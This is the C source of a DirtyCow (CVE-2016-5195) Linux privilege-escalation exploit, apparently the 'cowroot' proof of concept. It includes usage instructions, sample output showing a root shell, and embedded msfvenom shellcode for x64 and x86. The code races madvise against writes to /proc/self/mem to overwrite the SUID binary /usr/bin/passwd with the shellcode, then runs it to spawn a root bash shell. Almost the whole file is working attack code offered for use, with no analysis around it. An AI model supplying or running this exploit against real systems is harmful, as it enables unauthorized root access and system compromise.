/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void
*map;
int
f;
int
stop = 0;
struct
stat st;
char
*name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char
suid_binary[] =
"/usr/bin/passwd"
;
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned
char
sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned
int
sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void
*madviseThread(
void
*arg)
{
char
*str;
str=(
char
*)arg;
int
i,c=0;
for
(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf
(
"thread stopped\n"
);
}
void
*procselfmemThread(
void
*arg)
{
char
*str;
str=(
char
*)arg;
int
f=open(
"/proc/self/mem"
,O_RDWR);
int
i,c=0;
for
(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf
(
"thread stopped\n"
);
}
void
*waitForWrite(
void
*arg) {
char
buf[sc_len];
for
(;;) {
FILE
*fp =
fopen
(suid_binary,
"rb"
);
fread
(buf, sc_len, 1, fp);
if
(
memcmp
(buf, sc, sc_len) == 0) {
printf
(
"%s is overwritten\n"
, suid_binary);
break
;
}
fclose
(fp);
sleep(1);
}
stop = 1;
printf
(
"Popping root shell.\n"
);
printf
(
"Don't forget to restore /tmp/bak\n"
);
system
(suid_binary);
}
int
main(
int
argc,
char
*argv[]) {
char
*backup;
printf
(
"DirtyCow root privilege escalation\n"
);
printf
(
"Backing up %s.. to /tmp/bak\n"
, suid_binary);
asprintf(&backup,
"cp %s /tmp/bak"
, suid_binary);
system
(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf
(
"Size of binary: %d\n"
, st.st_size);
char
payload[st.st_size];
memset
(payload, 0x90, st.st_size);
memcpy
(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf
(
"Racing, this may take a while..\n"
);
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return
0;
}
